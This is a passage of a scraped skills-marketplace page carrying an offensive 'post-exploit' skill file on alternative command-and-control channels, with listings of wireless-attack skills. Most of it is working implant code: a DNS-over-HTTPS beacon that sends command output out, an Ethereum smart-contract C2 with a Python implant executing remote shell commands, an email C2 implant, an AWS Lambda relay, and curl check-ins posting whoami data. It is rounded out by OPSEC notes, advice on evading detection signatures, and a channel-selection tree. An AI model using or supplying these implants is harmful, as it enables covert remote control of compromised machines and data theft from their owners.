OUTPUT=$(eval \"$DECODED\" 2>&1 | head -c 200)\n        ENCODED=$(encode \"$OUTPUT\")\n\n        # Exfil output via subdomain labels (max 63 chars per label)\n        for chunk in $(echo \"$ENCODED\" | fold -w 60); do\n            curl -s \"${DOH_URL}?name=${chunk}.out.${IMPLANT_ID}.${C2_DOMAIN}&type=A\" > \u002Fdev\u002Fnull\n        done\n    fi\n    sleep $SLEEP\ndone\n```\n\n### DoH Providers\n| Provider | Endpoint | Notes |\n|----------|----------|-------|\n| Google | `https:\u002F\u002Fdns.google\u002Fresolve` | JSON API, widely allowed |\n| Cloudflare | `https:\u002F\u002F1.1.1.1\u002Fdns-query` | Wire format + JSON |\n| Quad9 | `https:\u002F\u002Fdns.quad9.net:5053\u002Fdns-query` | Less common, lower profile |\n\n### Limitations\n- TXT records limited to 255 bytes per string (chain multiple)\n- DNS label max 63 chars, total FQDN max 253 chars\n- High-volume queries to operator domain may trigger DNS analytics\n\n## 4. Blockchain-Based C2 (Ethereum Smart Contract)\n\nSmart contracts on Ethereum (or other EVM chains) act as a censorship-resistant dead-drop. Commands are stored on-chain; the implant reads contract state via public RPC endpoints.\n\n### Smart Contract (Solidity)\n```solidity\n\u002F\u002F SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract C2 {\n    address private owner;\n    mapping(bytes32 => string) private commands;\n    mapping(bytes32 => string) private responses;\n\n    constructor() { owner = msg.sender; }\n\n    modifier onlyOwner() { require(msg.sender == owner, \"\"); _; }\n\n    function setCommand(bytes32 implantId, string calldata cmd) external onlyOwner {\n        commands[implantId] = cmd;\n    }\n\n    function getCommand(bytes32 implantId) external view returns (string memory) {\n        return commands[implantId];\n    }\n\n    function postResponse(bytes32 implantId, string calldata resp) external {\n        responses[implantId] = resp;\n    }\n\n    function getResponse(bytes32 implantId) external view returns (string memory) {\n        return responses[implantId];\n    }\n}\n```\n\n### Implant Logic (Python)\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Ethereum smart contract C2 — read commands from chain, post results.\"\"\"\nfrom web3 import Web3\nimport subprocess, time, hashlib\n\nRPC_URL      = \"https:\u002F\u002Fmainnet.infura.io\u002Fv3\u002F\u003CAPI_KEY>\"  # or any public RPC\nCONTRACT_ADDR = \"\u003CDEPLOYED_CONTRACT_ADDRESS>\"\nABI          = [...]  # ABI from compilation\nIMPLANT_ID   = Web3.keccak(text=__import__(\"socket\").gethostname())\n\nw3 = Web3(Web3.HTTPProvider(RPC_URL))\ncontract = w3.eth.contract(address=CONTRACT_ADDR, abi=ABI)\n\nwhile True:\n    cmd = contract.functions.getCommand(IMPLANT_ID).call()\n    if cmd:\n        try:\n            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30)\n            # Post response on-chain (requires funded wallet for gas)\n            # For read-only implants, exfil via side channel instead\n        except Exception as e:\n            out = str(e).encode()\n    time.sleep(300)\n```\n\n### OPSEC Notes\n- **Read operations are free** — no wallet or gas needed to poll commands\n- **Write operations cost gas** — use a side channel (DNS, HTTP) for responses\n- Contract is public and immutable — use encryption for command\u002Fresponse data\n- Use Infura, Alchemy, or public RPC nodes; traffic looks like normal Web3 calls\n- Deploy on testnets (Sepolia) for testing; mainnet for real operations\n\n## 5. Email-Based C2 (IMAP\u002FSMTP)\n\nEmail C2 uses standard mail protocols. The implant logs into a shared mailbox, reads commands from emails, and replies with output. Traffic blends with normal corporate email.\n\n### Implant Logic (Python)\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Email C2 — read commands from IMAP inbox, send results via SMTP.\"\"\"\nimport imaplib, smtplib, email, subprocess, time\nfrom email.mime.text import MIMEText\n\nIMAP_SERVER = \"imap.gmail.com\"\nSMTP_SERVER = \"smtp.gmail.com\"\nEMAIL_ADDR  = \"\u003CC2_EMAIL>@gmail.com\"\nEMAIL_PASS  = \"\u003CAPP_PASSWORD>\"\nOPERATOR    = \"\u003COPERATOR_EMAIL>\"\nSLEEP       = 120\n\ndef check_commands():\n    imap = imaplib.IMAP4_SSL(IMAP_SERVER)\n    imap.login(EMAIL_ADDR, EMAIL_PASS)\n    imap.select(\"INBOX\")\n    _, nums = imap.search(None, \"UNSEEN\", f'FROM \"{OPERATOR}\"')\n    commands = []\n    for num in nums[0].split():\n        _, data = imap.fetch(num, \"(RFC822)\")\n        msg = email.message_from_bytes(data[0][1])\n        body = msg.get_payload(decode=True).decode(errors=\"replace\")\n        commands.append(body.strip())\n        imap.store(num, \"+FLAGS\", \"\\\\Deleted\")\n    imap.expunge()\n    imap.logout()\n    return commands\n\ndef send_result(subject, body):\n    msg = MIMEText(body)\n    msg[\"Subject\"] = subject\n    msg[\"From\"]    = EMAIL_ADDR\n    msg[\"To\"]      = OPERATOR\n    with smtplib.SMTP_SSL(SMTP_SERVER, 465) as s:\n        s.login(EMAIL_ADDR, EMAIL_PASS)\n        s.send_message(msg)\n\nwhile True:\n    for cmd in check_commands():\n        try:\n            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=60)\n            send_result(f\"RE: Report {time.strftime('%H%M')}\", out.decode(errors=\"replace\"))\n        except Exception as e:\n            send_result(\"RE: Error\", str(e))\n    time.sleep(SLEEP)\n```\n\n### OPSEC Notes\n- Use app-specific passwords (Gmail) or OAuth tokens\n- Subject lines should mimic legitimate correspondence\n- Encrypt command\u002Fresponse body with AES; embed key in implant\n- IMAP IDLE (push) reduces polling frequency\n- Corporate Exchange\u002FO365 via EWS or Graph API blends with enterprise traffic\n\n## 6. Cloud Function Dead Drops (Serverless C2)\n\nServerless functions (AWS Lambda, Azure Functions, GCP Cloud Functions) act as C2 redirectors. The implant calls a legitimate cloud endpoint; the function relays to the operator.\n\n### AWS Lambda Relay\n```python\n# Lambda function — relays between implant and operator S3 bucket\nimport boto3, json\n\ns3 = boto3.client(\"s3\")\nBUCKET = \"\u003CC2_BUCKET>\"\n\ndef lambda_handler(event, context):\n    body = json.loads(event.get(\"body\", \"{}\"))\n    action = body.get(\"action\")\n    implant_id = body.get(\"id\", \"unknown\")\n\n    if action == \"checkin\":\n        # Return pending command from S3\n        try:\n            obj = s3.get_object(Bucket=BUCKET, Key=f\"cmd\u002F{implant_id}\")\n            cmd = obj[\"Body\"].read().decode()\n            s3.delete_object(Bucket=BUCKET, Key=f\"cmd\u002F{implant_id}\")\n            return {\"statusCode\": 200, \"body\": json.dumps({\"cmd\": cmd})}\n        except s3.exceptions.NoSuchKey:\n            return {\"statusCode\": 200, \"body\": json.dumps({\"cmd\": \"\"})}\n\n    elif action == \"result\":\n        # Store command output\n        s3.put_object(\n            Bucket=BUCKET,\n            Key=f\"out\u002F{implant_id}\u002F{context.aws_request_id}\",\n            Body=body.get(\"data\", \"\").encode()\n        )\n        return {\"statusCode\": 200, \"body\": \"ok\"}\n```\n\n### Azure Functions Relay\n```python\n# Same pattern as Lambda — uses Azure Blob Storage instead of S3.\n# Endpoint: https:\u002F\u002F\u003CAPP>.azurewebsites.net\u002Fapi\u002Fc2\n# Storage: Azure Blob container for cmd\u002F{implant_id} and out\u002F{implant_id}\n# SKU: Consumption plan (serverless, pay-per-execution)\n```\n\n### Implant Calling Pattern\n```bash\n# Checkin — looks like normal API call to *.amazonaws.com or *.azurewebsites.net\ncurl -s -X POST \"https:\u002F\u002F\u003CFUNCTION_URL>\u002Fapi\u002Fc2\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d \"{\\\"action\\\":\\\"checkin\\\",\\\"id\\\":\\\"$(hostname | md5sum | cut -c1-8)\\\"}\"\n\n# Post results\ncurl -s -X POST \"https:\u002F\u002F\u003CFUNCTION_URL>\u002Fapi\u002Fc2\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d \"{\\\"action\\\":\\\"result\\\",\\\"id\\\":\\\"$(hostname | md5sum | cut -c1-8)\\\",\\\"data\\\":\\\"$(whoami | base64)\\\"}\"\n```\n\n## Detection Signatures\n\n| Indicator | Pattern | Mitigation |\n|-----------|---------|------------|\n| Discord API calls | Outbound HTTPS to `discord.com\u002Fapi\u002Fwebhooks` | Rotate webhooks; use bot API over multiple channels |\n| Telegram API calls | Outbound HTTPS to `api.telegram.org` | Route through proxy; use MTProto instead of Bot API |\n| High-frequency DoH | Repeated `dns.google\u002Fresolve` with encoded subdomains | Lower beacon rate; rotate DoH providers |\n| Blockchain RPC | JSON-RPC calls to Infura\u002FAlchemy with `eth_call` | Use public RPC endpoints; rotate providers |\n| IMAP\u002FSMTP patterns | Periodic login\u002Flogout cycles to mail server | Use IMAP IDLE; vary timing |\n| Cloud function calls | Periodic POST to `*.amazonaws.com` \u002F `*.azurewebsites.net` | Jitter timing; rotate function URLs |\n| Base64 in DNS labels | Encoded subdomains in queries | Use custom encoding; fragment data |\n\n## Error Handling & Edge Cases\n\n| Issue | Symptom | Resolution |\n|-------|---------|------------|\n| Discord rate limit | HTTP 429 responses | Implement exponential backoff; reduce output frequency |\n| Telegram bot blocked | `getUpdates` returns 409 | Only one poller per bot; use webhook mode instead |\n| DoH provider blocks | DNS queries return SERVFAIL | Rotate to alternate DoH provider (Google\u002FCF\u002FQuad9) |\n| Ethereum gas spike | Transaction pending indefinitely | Use read-only pattern; exfil via side channel |\n| Email account locked | IMAP auth failure | Use OAuth; avoid rapid login cycles |\n| Lambda cold start | First request takes 5-10 seconds | Use provisioned concurrency or keep-alive pings |\n| Cloud function rate limit | HTTP 429 from API Gateway | Distribute across multiple functions\u002Fregions |\n| TLS inspection | Proxy MITM breaks certificate pinning | Use certificate pinning bypass or alternate transport |\n\n## Decision Gate\n\n```\nWhat constraints exist on outbound traffic?\n├── Web traffic only (HTTP\u002FHTTPS whitelisted)\n│   ├── Social media allowed?\n│   │   ├── YES -> Discord or Telegram C2 (fastest setup)\n│   │   └── NO  -> Cloud function relay (*.amazonaws.com usually allowed)\n│   └── Cloud services allowed?\n│       ├── YES -> AWS Lambda \u002F Azure Functions dead drop\n│       └── NO  -> Domain fronting (see c2-domain-fronting skill)\n├── DNS allowed (UDP\u002F53 or DoH)\n│   ├── DoH to Google\u002FCloudflare reachable?\n│   │   ├── YES -> DoH C2 channel\n│   │   └── NO  -> Traditional DNS tunneling (see Sliver DNS)\n│   └── Custom authoritative NS available?\n│       └── YES -> Full DNS C2 with TXT record encoding\n├── Email allowed (IMAP\u002FSMTP\u002FEWS)\n│   ├── Corporate Exchange\u002FO365?\n│   │   └── Use Graph API or EWS — blends with enterprise mail\n│   └── External mail (Gmail)?\n│       └── Email C2 with app passwords\n└── Maximum stealth required\n    ├── Blockchain C2 (censorship-resistant, no takedown)\n    └── Combine channels: DoH for commands, Discord for exfil\n```\n\n## Tools & Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| Slackor | Slack-based C2 framework | https:\u002F\u002Fgithub.com\u002FCoalfire-Research\u002FSlackor |\n| DVMC2 | Discord\u002FVirus Total C2 | https:\u002F\u002Fgithub.com\u002F3xpl01tc0d3r\u002FDVMC2 |\n| Gcat | Gmail C2 channel | https:\u002F\u002Fgithub.com\u002Fbyt3bl33d3r\u002Fgcat |\n| DNScat2 | DNS tunnel C2 | https:\u002F\u002Fgithub.com\u002Fiagox86\u002Fdnscat2 |\n| godoh | DNS-over-HTTPS C2 | https:\u002F\u002Fgithub.com\u002Fsensepost\u002Fgodoh |\n| TrevorC2 | Legitimate website C2 | https:\u002F\u002Fgithub.com\u002Ftrustedsec\u002Ftrevorc2 |\n| Mythic | Multi-channel C2 framework | https:\u002F\u002Fgithub.com\u002Fits-a-feature\u002FMythic |\n| C3 | Custom C2 channel framework | https:\u002F\u002Fgithub.com\u002FFSecureLABS\u002FC3 |\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"c2, discord, telegram, blockchain, email, doh, dead-drop, cloud, serverless, covert-channel","command-and-control","alternative c2, discord c2, telegram c2, blockchain c2, email c2, dns over https, dead drop resolver, cloud c2, lambda c2, serverless c2","T1102, T1071.004, T1071.003, T1573","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fpost-exploit\u002Fc2-alternative-channels","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill c2-alternative-channels",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill c2-alternative-channels",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill c2-alternative-channels","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fpost-exploit\u002Fc2-alternative-channels\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]